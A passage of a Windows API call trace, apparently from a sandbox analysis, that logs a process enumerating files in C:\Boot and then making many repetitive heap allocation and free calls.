	[0070.930] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0070.930] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0070.930] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0070.931] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d40048
	[0070.931] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31215d0
	[0070.949] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.949] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0070.950] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0070.950] FindClose (in: hFindFile=0x31215d0 | out: hFindFile=0x31215d0) returned 1
	[0070.950] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.950] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d40048
	[0070.956] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.958] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.958] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.960] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.961] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.961] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.964] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.965] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.965] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.967] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.976] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.977] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.978] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.979] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.979] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.981] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0071.068] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0071.069] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0071.069] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0071.070] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0071.072] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0071.072] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0071.074] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0071.075] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x556710, Size=0x4000) returned 0x55aed8
	[0071.084] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0071.100] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0071.100] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0071.115] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.115] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0071.115] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0071.115] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0071.115] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0071.115] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0071.116] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0071.116] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0071.116] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0071.116] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0071.116] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0071.116] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0071.116] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0071.116] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0071.117] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0071.118] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0071.168] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0071.936] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x55aed8, Size=0x8000) returned 0x31936f0
	[0071.939] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0071.942] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0071.943] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0071.949] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0071.951] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0071.952] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0071.952] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0071.953] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0071.954] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0071.955] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0071.955] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0071.960] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0071.962] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0071.962] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0071.962] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0071.962] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0071.962] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x31936f0, Size=0x10000) returned 0x3dc3978
	[0071.965] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0071.965] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0071.968] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0071.971] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0071.971] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0072.038] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0072.039] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0072.040] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0072.040] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0072.041] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0072.041] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0072.042] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0072.042] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.042] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.043] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.043] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.043] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.046] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.046] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.046] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.048] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.048] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.048] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.048] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.049] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.050] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.050] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.050] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.055] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.063] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.063] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.063] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.066] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.067] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.067] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.067] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.075] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.075] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.075] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.075] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0072.081] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.081] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0072.094] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.094] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0072.096] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0072.097] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0072.102] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0072.102] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.102] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0072.128] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.128] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0072.136] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0072.136] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0072.144] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0072.144] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.144] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0072.145] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0072.146] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0072.149] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.149] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0072.149] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0072.609] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.609] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0072.611] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.611] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0072.611] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0072.613] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0072.613] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0072.614] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0072.614] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0072.614] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0072.623] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.629] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.631] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.631] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0072.639] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.640] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.642] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.647] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.651] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.657] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.661] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0072.661] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.663] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.668] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.671] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0072.671] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0072.671] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0072.673] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0072.679] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0073.149] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0073.167] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3970 | out: hHeap=0x500000) returned 1
	[0073.803] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e4b9b8 | out: hHeap=0x500000) returned 1
	[0073.806] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0073.806] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb9d8 | out: hHeap=0x500000) returned 1
	[0073.806] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3970 | out: hHeap=0x500000) returned 1
	[0074.266] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0074.272] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0074.284] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0074.284] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb9d8 | out: hHeap=0x500000) returned 1
	[0074.292] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb9d8 | out: hHeap=0x500000) returned 1
	[0074.296] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb9d8 | out: hHeap=0x500000) returned 1
	[0074.305] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb9d8 | out: hHeap=0x500000) returned 1
	[0075.352] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb9d8 | out: hHeap=0x500000) returned 1
	[0075.566] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb9d8 | out: hHeap=0x500000) returned 1
	[0075.596] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3970 | out: hHeap=0x500000) returned 1
	[0075.597] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3970 | out: hHeap=0x500000) returned 1
	[0075.598] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3970 | out: hHeap=0x500000) returned 1
	[0075.602] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3970 | out: hHeap=0x500000) returned 1
	[0075.602] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb9d8 | out: hHeap=0x500000) returned 1
	[0075.609] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03980 | out: hHeap=0x500000) returned 1
	[0075.613] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03980 | out: hHeap=0x500000) returned 1
	[0075.632] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03980 | out: hHeap=0x500000) returned 1
	[0075.639] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03980 | out: hHeap=0x500000) returned 1
	[0076.807] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3978 | out: hHeap=0x500000) returned 1
	[0076.811] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3970 | out: hHeap=0x500000) returned 1
	[0076.811] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb9e8 | out: hHeap=0x500000) returned 1
	[0076.811] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb9e8 | out: hHeap=0x500000) returned 1
	[0076.812] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb9e8 | out: hHeap=0x500000) returned 1
	[0076.814] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb9e8 | out: hHeap=0x500000) returned 1
	[0076.822] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0076.829] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0076.832] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0076.838] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0076.840] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0076.845] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0076.847] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0076.852] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0076.854] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
